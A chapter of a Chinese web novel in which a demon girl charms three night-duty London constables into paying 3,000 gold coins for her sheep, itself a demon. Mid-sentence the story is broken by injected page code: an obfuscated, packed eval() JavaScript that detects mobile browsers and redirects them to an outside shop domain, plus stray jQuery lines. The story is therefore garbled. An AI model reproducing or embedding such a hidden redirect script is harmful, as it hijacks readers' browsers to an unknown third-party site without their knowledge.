夜深了,伦敦警署质朴的大厅里,新人警员正趴在台面上打盹。
困意袭来,昏昏沉沉,迷迷茫茫,可怎么都不敢睡。
今天警长不在,整个警局除了他,就是其余两个比他还要新的新人,现在他是这里的老大,要是出了点什么事,他这工作就不一定能保得住了。
更何况,今天的审讯室,还关着一位贵族。
远方钟楼十二点钟的钟声响起,警司外响起一阵动物的叫声,隔着浓浓的黑夜传来。
“咩咩咩…咩咩……”
像是羊…?
这可不是一个好现象,在宗教的奥义中,羊是一种不祥的动物,象征着某种头上长角的生物——恶魔。
难免让他想起,那只因为“黑魔法”而死而复生的羊。
好笑的是这个时代的人们没有信仰,他们明明根本就不相信上帝和撒旦的存在,却口口声声的把“黑魔法”“魔鬼”挂在嘴边,自相矛盾。
比如上次那几个,喝醉了酒,莫名其妙混进警局的混混。
他原本以为那几人天生不会说话,但是酒醒之后,一个个能说会道,在警局里大吵大闹,还说什么,有只恶魔给他们下了诅咒,逼迫他们偷偷溜进警局,还把自己关进了铁栏杆里面。
他本不该相信,可摆在他眼前的种种迹象,又着实非比寻常。如果不是有超自然力量相助,那群混混又是怎么神不知鬼不觉溜进警局,就是怎么在没有钥匙的情况下自己钻进笼子里。
在此之前,关于恶魔,天使,上帝,这些他一概是不信的。但他现在有点心里没底了…都怪他们。
警局外一直有羊叫,听到这声音后,他的瞌睡瞬间没影了,拍醒旁边两个新人,虎视眈眈的盯着门口。
“前辈,都这个点了,怎么还有人在外面放羊?”
“要不要出去提醒几句,太晚了,不安全。”
小新人显然没有见过这个阵仗,还以为是过往的行商,赶着货物正往目的日夜兼程。
“别动,不要离开这扇门。”唯有他面色凝重,心脏都快要跳到嗓子眼。
新人也不敢说什么,“老前辈”在这里,他们都是家里托了关系,花了大量的金子,才买来的岗位,小心行事总是没错的。
羊叫声越来越清晰,越来越大,夜风冷冷地拍着,刮在人脸上。
他越发紧张,大气都不敢出,右手不自觉放到腰间的左轮上,如果进来的真的是一只魔鬼,他一定会一枪崩了对方。
越来越近…越来越近……那个东西已经走到了门口,嘴里仍在不停的叫唤。
“咩咩咩咩,咩咩咩咩咩咩!”(莉莉贝特,你要带我去哪!)
然而就在三人都举着枪指向门口时,少女穿着简单的白色连衣裙,全身的衣服都被雨水湿透过,湿透了又风干,粘在皮肤上,结成一块一块硬硬的泥痕,连裙腰处都沾着黑漆漆的泥水。她赤着脚,手里牵着一头犟在门口的羊,悄然而入。
看见三个黑漆漆的枪口对着自己,莉莉贝特哑然失笑。
“警官,我只是一名普通的少女,我叫……”顿了顿,脱口而出,“卡珊德拉,没有恶意。”
她看起来是那么的人畜无害,笑起来还有两个小酒窝,一头璀璨的白发仿若堕入人间的天使。
三个警员都是没有成婚的大老爷们,看见一位美少女走进来,还用如此温柔的口吻与他们说话,一个两个都红了耳尖,赶忙收了枪。
“咳咳…抱歉卡珊德拉小姐,你有什么事吗?”
“我需要帮助,我走了很久,只有这里亮着灯。”她的语气中藏着一丝委屈,笑容瞬间收敛。
“好吧,那……请进。”站在门口的警员做了一个请的姿势。
“谢谢。”
她牵着小羊,毫不客气直奔休息区。
在场所有的人中,唯有尤金羊在表达不满。
“咩咩咩……”(你居然想要出卖我!!)
可惜他的感受,莉莉贝特不在乎,她只在乎钱。
一个警员给她倒了一杯水,目光时不时在她身上上下打量,藏着探究与期待。
他们大概是没有见过长得像莉莉贝特这样的,美得不可方物,一双多情的眼睛无论看向哪里都仿佛充满了旖旎。
实则,她是故意的,稍微施加了一点能够让对方一眼就对自己产生好感的魔法。
俗称,蛊惑。
“卡珊德拉小姐,大半夜的,您牵着一头羊来警局,是遇到了什么困难吗?”
他们见她娇小可怜,又大半夜的出现在警局,脑子里已经脑补出了一出“逼良为娼”的大戏。
殊不知,他们的怜悯正中莉莉贝特下怀,恶魔小姐装出委屈,抬手擦去眼角不存在的眼泪。
“你别哭,有什么事跟哥哥们说,我们一定会想办法帮你解决的。”
“其实也没什么,”她的声线微微颤抖,听着那么惹人怜爱,让几个大老爷们儿心里揪疼揪疼的。“我只是现在没有地方可以去。”
“啊?”警员满脸疑惑,看了看她沾满泥水的裙子,又看了看她贴着沙砾和泥土的双脚,小心问道:“你的家呢?”
“呜……”她假哭两声,“我没有家了,我的父亲娶了后妈,他们都不喜欢我,把我赶了出来,现在只剩下我手边的这只老绵羊给我作伴。”
她演的很真,三个警员纷纷对她投以同情,尤其是为首的警员,满脸疼惜的盯着她,拍着胸脯说,“你的家人实在是太过分了,你放心,既然你来到了我们警局,我们一定不会不管你,今晚就安心在这里睡下,我们给你找条毯子,守着你。”
“谢谢,你们真好。”她又假擦了两下眼角,摆了摆手,“不过我还是走吧,我不能一直麻烦你们,不能一直住在警局,如果让别人看见了反而会连累你们。”
看似处处为他人着想,实则正在酝酿着她的阴谋。尤金羊暗自翻了个白眼:“咩咩……”(万恶的魔女……)
还没吐槽完,莉莉贝特故意伸出一只手,沿着他的尾椎骨往上抚摸,同时用警告的余光冲他笑了笑。
尤金羊被她逆着摸毛,浑身不自在,暗自闭上了嘴,趴在地上一动不动。
见他乖了,莉莉贝特接着装作起身,假装离开这里。
“现在已经是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688271|203463||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
深夜,外面太危险了,要不还是在这里凑合一晚吧,明天的事明天再说。”警员连忙拦住了她的去路,耐心哄着。
莉莉贝特再次摇头,泪汪汪的眼睛含着笑容,“我得趁着天还没亮,去码头上找点事做,赚点金币买食物。”
他们几个瞬间语气柔了下来,说什么也不让莉莉贝特走,“食物我们这里也有,我们可以给你提供。”
“谢谢,你们已经帮了我很多了,我不能再麻烦你们。”
“谢什么,我们都没帮上什么忙。”
让一位可怜的少女只身奔赴苦难,任何绅士看到这一幕都会于心不忍。
他们都没看见莉莉贝特藏在背后偷笑。她踹了踹尤金羊,企图提高对方的存在感,暗示着在场的警员。
终于,有人看到羊后灵机一动,大喊,“不就是要金币吗?我有办法。”
“什么办法?”
“老大,我们不是有个悬赏令吗,悬赏一只羊那个。”
警员脸色一变,“那个悬赏令,找个是一头在伦敦城瞎逛的羊,卡珊德拉小姐养了这只显然不符合条件。”
他带的小弟显然不赞同,帮衬着说,“这个世界上哪有黑魔法,所有的羊都长得差不多,我们只是需要一头羊交差而已,是那一头羊,或者是这头羊,都没有差别啊,谁看得出来?”
“你说的话也有道理,但是如果让警长知道我们骗他,你会害我们会失去工作的。”
他在犹豫,可看到两个下属都眼巴巴的看着自己,还有“卡珊德拉”,同样一脸期待,拒绝的话怎么都说不出口。
“那…卡珊德拉小姐,你愿意用你的羊,换三千金币吗?”
“我……”莉莉贝特微微勾唇,装出一副十分舍不得尤金的模样,蹲下身,搂着尤金羊的身体嚎啕大哭,“我亲爱的尤金,是我对不住你,可我真的很需要这笔钱,我好饿,好久没有吃东西了。”
尤金羊发出抗议的声音,“咩咩咩!!!”(装模作样,把我卖了还要我帮你数钱。)
莉莉贝特才不在乎他的意见,他是只恶魔,即便他用于寄生的身躯被人烤了端上餐桌,他也顶多就是被遣送回地狱而已。
警员们见他们主羊情深纷纷热了眼眶,很快有人回头去取了三千金币交到莉莉贝特手里。
“卡珊德拉小姐,这三千金币就给你了,但是这件事情,千万不可以让别人知道。”
莉莉贝特接过钱,从里面分出一千,还给了警员。
对方错愕,推脱,她也坚持把这钱送了出去。
“我知道如果没有你们,这笔钱我一分都拿不到,所以请不要拒绝这份金币,他日若是我脱离困境,我会把钱还给你们的。”
她领着金币,最后回头看了尤金羊一眼,得逞离开。
尤金在心里暗自把她问候了千百遍,一个小时后,他被警员牵着,关到了某间黑漆漆的审讯室。
一开灯,里面蹲着一个红色头发的漂亮男人,始终饶有趣味的盯着它。
等人走后,那个男人好奇地问。
“恶魔?”
尤金羊顿时心中警铃大作。